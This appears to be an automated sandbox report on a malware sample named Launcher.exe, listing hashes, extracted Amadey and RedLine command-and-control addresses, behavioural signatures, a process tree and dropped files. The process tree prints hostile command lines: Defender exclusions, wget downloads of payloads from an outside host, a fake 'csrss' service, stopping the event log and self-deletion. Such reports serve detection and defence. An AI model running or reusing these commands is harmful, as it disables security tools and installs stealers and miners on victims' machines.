Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/02/2024, 10:15

General

  • Target

    Launcher.exe

  • Size

    364KB

  • MD5

    fea10d11d84919cb9a0a0752d61c0a66

  • SHA1

    aea3c65e2b62851b2dd112597f28379b49c58a0a

  • SHA256

    2786febdd57874118eaf5e257382cf4467d43f9ca189ac48ff6d45494f1cbab7

  • SHA512

    e382f79ec1f1c370cd0053cccc7a0db8f3dc28b22f9dacd5f425c60adfb21e4a6eed3e119a7f9bbf135839e22d46511ca793cf8b5118d0e6256ebbbe749fc508

  • SSDEEP

    6144:LpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrZR5lJWPkOD:Lp8KLBzQ7Lcf3SiQs2FTTql9unNrkvzw

Malware Config

Extracted

Family

amadey

Version

4.17

C2

http://185.196.10.188

http://45.159.189.140

http://89.23.103.42

Attributes
  • install_dir

    d9645f975a

  • install_file

    Dctooux.exe

  • strings_key

    63cccebb4f5b1c1e01047657797f75bb

  • url_paths

    /hb9IvshS/index.php

    /f5f/index.php

rc4.plain

Extracted

Family

redline

Botnet

11

C2

mezla.site:80

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 13 IoCs
  • Creates new service(s) 1 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 3 TTPs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Executes dropped EXE 14 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 47 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
      "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3436
        • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
          "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4664
          • C:\Users\Admin\AppData\Roaming\services\wget.exe
            "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
            5⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:2476
          • C:\Users\Admin\AppData\Roaming\services\winrar.exe
            "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
            5⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:836
          • C:\Users\Admin\AppData\Roaming\services\plugin0222
            C:\Users\Admin\AppData\Roaming\services\plugin0222
            5⤵
            • Suspicious use of SetThreadContext
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4440
            • C:\Users\Admin\AppData\Roaming\services\plugin0222
              "C:\Users\Admin\AppData\Roaming\services\plugin0222"
              6⤵
              • Executes dropped EXE
              PID:1620
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 580
                7⤵
                • Program crash
                PID:1876
          • C:\Users\Admin\AppData\Roaming\services\wget.exe
            "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
            5⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:4220
          • C:\Users\Admin\AppData\Roaming\services\winrar.exe
            "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
            5⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:1828
          • C:\Users\Admin\AppData\Roaming\services\2plugin2901
            C:\Users\Admin\AppData\Roaming\services\2plugin2901
            5⤵
            • Drops file in Drivers directory
            • Checks BIOS information in registry
            • Drops file in System32 directory
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:4036
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1492
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4544
              • C:\Windows\system32\wusa.exe
                wusa /uninstall /kb:890830 /quiet /norestart
                7⤵
                  PID:196
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe delete "csrss"
                6⤵
                • Launches sc.exe
                PID:396
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe create "csrss" binpath= "C:\ProgramData\SystemFiles\csrss.exe" start= "auto"
                6⤵
                • Launches sc.exe
                PID:2628
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop eventlog
                6⤵
                • Launches sc.exe
                PID:992
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe start "csrss"
                6⤵
                • Launches sc.exe
                PID:2012
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\services\2plugin2901"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1536
                • C:\Windows\system32\choice.exe
                  choice /C Y /N /D Y /T 3
                  7⤵
                    PID:3924
              • C:\Users\Admin\AppData\Roaming\services\wget.exe
                "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
                5⤵
                • Executes dropped EXE
                • Suspicious use of FindShellTrayWindow
                PID:164
              • C:\Users\Admin\AppData\Roaming\services\winrar.exe
                "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
                5⤵
                • Executes dropped EXE
                • Suspicious use of FindShellTrayWindow
                PID:1280
              • C:\Users\Admin\AppData\Roaming\services\3plugin0222
                C:\Users\Admin\AppData\Roaming\services\3plugin0222
                5⤵
                • Suspicious use of SetThreadContext
                • Executes dropped EXE
                PID:4632
                • C:\Users\Admin\AppData\Roaming\services\3plugin0222
                  "C:\Users\Admin\AppData\Roaming\services\3plugin0222"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:164
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
                5⤵
                  PID:4220
        • C:\ProgramData\SystemFiles\csrss.exe
          C:\ProgramData\SystemFiles\csrss.exe
          1⤵
          • Drops file in Drivers directory
          • Checks BIOS information in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4352
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3736
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
            2⤵
              PID:1516
              • C:\Windows\system32\wusa.exe
                wusa /uninstall /kb:890830 /quiet /norestart
                3⤵
                  PID:3052
              • C:\Windows\system32\conhost.exe
                C:\Windows\system32\conhost.exe
                2⤵
                  PID:2928
                • C:\Windows\system32\conhost.exe
                  conhost.exe
                  2⤵
                  • Checks BIOS information in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:196

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3plugin0222.log

                      Filesize

                      520B

                      MD5

                      807cb75397a3a9fc38e9fb5f8566eb2d

                      SHA1

                      367e151fab5a5a80e60202d287ae522ea53e2563

                      SHA256

                      3e5056b73303b361e6b7b52f5edb2ed1a7e9dc2c762bb91d18046f42bc2ffcf3

                      SHA512

                      49efef0401ba0e0dc0b30bdff5d414da5494e4194c6269da2cb40b1ab7dc53e7858d29d2b9982bf3ee60ebc9638b5ed2b5ddcbb536bcc57729e79fc81f59f13d

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                      Filesize

                      45KB

                      MD5

                      c2d06c11dd1f1a8b1dedc1a311ca8cdc

                      SHA1

                      75c07243f9cb80a9c7aed2865f9c5192cc920e7e

                      SHA256

                      91ac15f1f176f74f02ce89ecdc443d8e33e0064c7bc69a87c7b2da145449d586

                      SHA512

                      db00860292c3e7430b1534f459c2f0f9778df3a94c51d622dcf1cde390a5539bdc6d60a0d41e6f1ed99a989f17ecb109abd4c17faac4cd398945536f1d0ebb4d

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      1382baf175d45c3403f7876af44f4e5d

                      SHA1

                      22ac418cfb7969eb2594103b7b9453ba47d5442f

                      SHA256

                      dbd14887459c04a3cfc9794da8ab8e6ccbf6a9ed0762055b15d8e55883308374

                      SHA512

                      63c7aa001a6b005f6eb04c8484dc7586bf8f7e975ae9c7e9a460c220ae1ffefbb14531067f61e5a5a51f20d4b967c399782c28d70538a12d7aa7ac72fa444b24

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5rnaqad.kvf.ps1

                      Filesize

                      1B

                      MD5

                      c4ca4238a0b923820dcc509a6f75849b

                      SHA1

                      356a192b7913b04c54574d18c28d46e6395428ab

                      SHA256

                      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                      SHA512

                      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                    • C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

                      Filesize

                      12B

                      MD5

                      5a7358d53674902c204c6fb1e21c78e4

                      SHA1

                      1a19c63d8e832037e6b8a2ac956f5541c4efd500

                      SHA256

                      1eaefc76658bbbfd2b00154813221e361d1fc615ce5636061d2e9a9d97c5cddb

                      SHA512

                      f5d16f554634239f4149cbd514cf13dc51080e6fb80f94d07a13afd3dfa00d03cd5bde72493be120451f004aececb350ac0bcf70ae762c404da3773a42f0a3dd

                    • C:\Users\Admin\AppData\Roaming\services\.wget-hsts

                      Filesize

                      184B

                      MD5

                      2e7e79b18cce7c94164385b314d90f53

                      SHA1

                      a7833fce28106e00572c125bc6ea992b8d150a34

                      SHA256

                      2e6f936a73f307d230802c14a6aafa06c8e53dcec51ae032acc50cb58e245570

                      SHA512

                      dfa49cfb4d64dfc5d20d153c15c696415eccf5da08a4df48f11eeb10bfc29dd3157875c5eca7e6e620113a9191344907828f9c56d8f6018686064ff8b2935c09

                    • C:\Users\Admin\AppData\Roaming\services\01plugins0222.rar

                      Filesize

                      3.0MB

                      MD5

                      192ea396deb46406bed716cde8b0fda6

                      SHA1

                      b48459b0e4f8d712150c2db39764d3658678f8ac

                      SHA256

                      c56f6db940d4802fce1621bd03c3563869acc5ccf2f8fc7ef6a4cc5d17e0c04d

                      SHA512

                      359fb7a51a6524e5fab57de6b799082e3c9d0582cf0a01a5535d11c02c09803a59da47c5a1d65d6306631fa31e4eb8a03479aec5c877d7e4157f3c60ebeda6e1

                    • C:\Users\Admin\AppData\Roaming\services\02plugins2901.rar

                      Filesize

                      8.4MB

                      MD5

                      82a56a666981e9e163a1aba74dc70aa8

                      SHA1

                      709e44e71ff38d0771d839b74f270c23daa42f64

                      SHA256

                      c59448b470702a689cb0525b76d28d68b2436c4f23cac4ee18a32a7a99801eb6

                      SHA512

                      ed02644d9621256b2c0bd43eac5d46f1be3ccf741b3701ff624e0f0913bd6829d818d3006619f90fded694c01940e4fca7b1eac92cd647b87212efd4532ccbe0

                    • C:\Users\Admin\AppData\Roaming\services\03plugins0222.rar

                      Filesize

                      256KB

                      MD5

                      4a3baa2e2630e287a5c0e804c0564ca0

                      SHA1

                      c00ae566d6c2dc3f6e20566955d210a16807e028

                      SHA256

                      c039a58e89ffc961c978c61cd8746b95c481251381b62acaec252f26e184e919

                      SHA512

                      606e9507f80241b932c4f3d4c8fc0207d3e36557d5b1e2837436dc9d6f5b58e7204b18935a091b8a5eff0ea75ef47d14f045cad2a120e43c07de35019849cd16

                    • C:\Users\Admin\AppData\Roaming\services\2plugin2901

                      Filesize

                      8.6MB

                      MD5

                      d4121fa27ad9f3c93d00312846a7a2cc

                      SHA1

                      ce84a218b13b9084b4d30f18fcea720e078c4c9c

                      SHA256

                      ffba3263bcdd2a3b008113b62dd9853d80d279350e548f50485b75925c9d5079

                      SHA512

                      65461ca95eae4d51ee691e5a444e14f2cc18e44089c5137bf9060111c111eaeb31f74ca2b155c41d2e0f1fa3d8d4c8288a68fa47dab4fee9e80a627bd20e2ac8

                    • C:\Users\Admin\AppData\Roaming\services\2plugin2901

                      Filesize

                      9.6MB

                      MD5

                      5a5a545484abcfd739e596c1ff8753d5

                      SHA1

                      42543fdc4b7620ba21ba5d27fd4ab45a549eb503

                      SHA256

                      872b4526efdb11051475cfde82c187adfa80a2496ed9835550c1421a039a203e

                      SHA512

                      7a1516dab7c58455fe687cec52c522aa111d0b454d8c7c390417e134a2e1631a9bd68c71f82c92423dce598244c71c67e7576121e7ea4c931421a3458f798374

                    • C:\Users\Admin\AppData\Roaming\services\3plugin0222

                      Filesize

                      15.0MB

                      MD5

                      028aef2aedb49bb9148e23b3b7b03d37

                      SHA1

                      94efee9913eed144e9c1c9727cf82543f65c0ed9

                      SHA256

                      bd3ad16cfba1acfcca16be462fe11c0ad79dda99dac169c160d07cc47b3533c2

                      SHA512

                      a02ebba3a92fcd7869b87e71f3d5e6238fc738eada46f67e8320d7fad7119f676158b67f18bd3272eb1caedbf521f260bd59b9f5517fb257b50d1168d708ba57

                    • C:\Users\Admin\AppData\Roaming\services\3plugin0222

                      Filesize

                      16.6MB

                      MD5

                      ed890fea49ea376d0464e8f04ee58811

                      SHA1

                      f3134c8c4b2549e38362d1372f6f6b5a2372aee0

                      SHA256

                      1e328ea5223b16dec5b109c8b412e71d891e12d0de423b72f6b473d858c0b362

                      SHA512

                      1b5b83412f8ea62e502129abb3664608fd4688286ff8fc5d7b0eab4cee0c5457793ddd5eebf29978cce20bac86e79351df6480336b6913bdc02a4ebc30e48dc4

                    • C:\Users\Admin\AppData\Roaming\services\Launhcer.dll

                      Filesize

                      2KB

                      MD5

                      7de0541eb96ba31067b4c58d9399693b

                      SHA1

                      a105216391bd53fa0c8f6aa23953030d0c0f9244

                      SHA256

                      934f75c8443d6379abdc380477a87ef6531d0429de8d8f31cd6b62f55a978f6e

                      SHA512

                      e5ffa3bfd19b4d69c8b4db0aabaf835810b8b8cccd7bc400c7ba90ef5f5ebd745c2619c9a3e83aa6b628d9cf765510c471a2ff8cb6aa5ad4cf3f7826f6ae84a3

                    • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe

                      Filesize

                      364KB

                      MD5

                      e5c00b0bc45281666afd14eef04252b2

                      SHA1

                      3b6eecf8250e88169976a5f866d15c60ee66b758

                      SHA256

                      542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

                      SHA512

                      2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

                    • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest

                      Filesize

                      1KB

                      MD5

                      f0fc065f7fd974b42093594a58a4baef

                      SHA1

                      dbf28dd15d4aa338014c9e508a880e893c548d00

                      SHA256

                      d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

                      SHA512

                      8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

                    • C:\Users\Admin\AppData\Roaming\services\WGET-H~1

                      Filesize

                      184B

                      MD5

                      990d670f7d0d9addc18642f106831b36

                      SHA1

                      b3b3f72b362c153a8fa060b6e26c0972682e3582

                      SHA256

                      dbd84f95c50bcad3bdd257368e723deee49c428a4434c1a6ffb2852f12611253

                      SHA512

                      25bde6d8817126077b27b11042b42424d23ca9168e127812c31f2f7aeda93e9e47c971fd0d4b9e36cbee405f3e4085ae14e362deae76148fe69d9c5bb0f7206a

                    • C:\Users\Admin\AppData\Roaming\services\WinRAR.exe

                      Filesize

                      1.4MB

                      MD5

                      ed8f7b42b7277a00a8f6eb192dc0bd77

                      SHA1

                      34ff362e6b95852d84580a3430f84da939671c59

                      SHA256

                      4af7ef4064e4543d12f19d0edc2a7966e3f91412dff582333ecc0d8e599e9a30

                      SHA512

                      15e66093b010741788c24c4a14c824a5ef92a3de9618e7c9eae002ce90cc6c89ff35228e4b202cb2f538b8fc57688e40eaee07395608f32a291753fc09396c2f

                    • C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll

                      Filesize

                      6KB

                      MD5

                      f58866e5a48d89c883f3932c279004db

                      SHA1

                      e72182e9ee4738577b01359f5acbfbbe8daa2b7f

                      SHA256

                      d6f3e13dfff0a116190504efbfcbcd68f5d2183e6f89fd4c860360fba0ec8c12

                      SHA512

                      7e76555e62281d355c2346177f60bfe2dc433145037a34cfc2f5848509401768b4db3a9fd2f6e1a1d69c5341db6a0b956abf4d975f28ee4262f1443b192fe177

                    • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe

                      Filesize

                      364KB

                      MD5

                      fea10d11d84919cb9a0a0752d61c0a66

                      SHA1

                      aea3c65e2b62851b2dd112597f28379b49c58a0a

                      SHA256

                      2786febdd57874118eaf5e257382cf4467d43f9ca189ac48ff6d45494f1cbab7

                      SHA512

                      e382f79ec1f1c370cd0053cccc7a0db8f3dc28b22f9dacd5f425c60adfb21e4a6eed3e119a7f9bbf135839e22d46511ca793cf8b5118d0e6256ebbbe749fc508

                    • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest

                      Filesize

                      1KB

                      MD5

                      1b6de83d3f1ccabf195a98a2972c366a

                      SHA1

                      09f03658306c4078b75fa648d763df9cddd62f23

                      SHA256

                      e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

                      SHA512

                      e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

                    • C:\Users\Admin\AppData\Roaming\services\plugin0222

                      Filesize

                      5.0MB

                      MD5

                      17d804b82a9cae6218607478d6213aae

                      SHA1

                      f5ff7adb303f6dfe07a86f0dc58ae3d2dd3c3b6f

                      SHA256

                      506c268dd0361e0bec3f2da64ba330cb56ea566fa3a1a6360519b9844ec6cddd

                      SHA512

                      ce0983032550ea02b685b132ccc29d2263fbdd189a36bbd89bd9af44fdc5ce1c2446b4ea6af67ceb474880386b1a3ada33aea9ac157a029e15b55e49e39067a8

                    • C:\Users\Admin\AppData\Roaming\services\wget.exe

                      Filesize

                      4.9MB

                      MD5

                      8c04808e4ba12cb793cf661fbbf6c2a0

                      SHA1

                      bdfdb50c5f251628c332042f85e8dd8cf5f650e3

                      SHA256

                      a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

                      SHA512

                      9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

                    • C:\Users\Admin\AppData\Roaming\services\winrar.exe

                      Filesize

                      2.1MB

                      MD5

                      f59f4f7bea12dd7c8d44f0a717c21c8e

                      SHA1

                      17629ccb3bd555b72a4432876145707613100b3e

                      SHA256

                      f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

                      SHA512

                      44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

                    • C:\Windows\system32\drivers\etc\hosts

                      Filesize

                      1KB

                      MD5

                      7575c74a6cb2582fe872ec4e5c34d9ae

                      SHA1

                      8616d5c5687df7133cb3320d131ab82a25197ca7

                      SHA256

                      5cfc757280526df2130740c4fc1722623bb6a51866af1b4f4fba8acaf2b23064

                      SHA512

                      8afc0d7c08397a0efc03b313fd9a4986f29c3415ccd640e582fa60a0d3696539243e8d3859cd1b06aea632646b5eb31ffff5cc73ca3df1ac178f44397607b860

                    • memory/164-738-0x00000000725E0000-0x0000000072CCE000-memory.dmp

                      Filesize

                      6.9MB

                    • memory/164-733-0x0000000000400000-0x0000000000450000-memory.dmp

                      Filesize

                      320KB

                    • memory/164-739-0x0000000005240000-0x00000000052D2000-memory.dmp

                      Filesize

                      584KB

                    • memory/164-646-0x0000000000400000-0x00000000008F2000-memory.dmp

                      Filesize

                      4.9MB

                    • memory/196-697-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-689-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-710-0x00007FFEF2D70000-0x00007FFEF2F4B000-memory.dmp

                      Filesize

                      1.9MB

                    • memory/196-704-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-703-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-702-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-712-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-701-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-711-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-713-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-700-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-715-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-699-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-698-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-670-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-696-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-669-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-695-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-671-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-672-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-676-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-694-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-716-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-717-0x000001D3297E0000-0x000001D329800000-memory.dmp

                      Filesize

                      128KB

                    • memory/196-719-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-720-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-693-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-718-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-679-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-680-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-756-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-753-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-721-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-682-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-722-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-752-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-683-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-724-0x000001D3ABA20000-0x000001D3ABA40000-memory.dmp

                      Filesize

                      128KB

                    • memory/196-686-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-684-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-692-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-691-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-690-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-709-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-688-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/196-687-0x0000000140000000-0x0000000140AB6000-memory.dmp

                      Filesize

                      10.7MB

                    • memory/1492-349-0x000001F7C5E30000-0x000001F7C5E40000-memory.dmp

                      Filesize

                      64KB

                    • memory/1492-350-0x000001F7C5E30000-0x000001F7C5E40000-memory.dmp

                      Filesize

                      64KB

                    • memory/1492-459-0x000001F7C5E30000-0x000001F7C5E40000-memory.dmp

                      Filesize

                      64KB

                    • memory/1492-401-0x00007FF7D73F0000-0x00007FF7D7400000-memory.dmp

                      Filesize

                      64KB

                    • memory/1492-400-0x000001F7C5E20000-0x000001F7C5E2A000-memory.dmp

                      Filesize

                      40KB

                    • memory/1492-354-0x000001F7C5FC0000-0x000001F7C6036000-memory.dmp

                      Filesize

                      472KB

                    • memory/1492-348-0x00007FFEE58E0000-0x00007FFEE62CC000-memory.dmp

                      Filesize

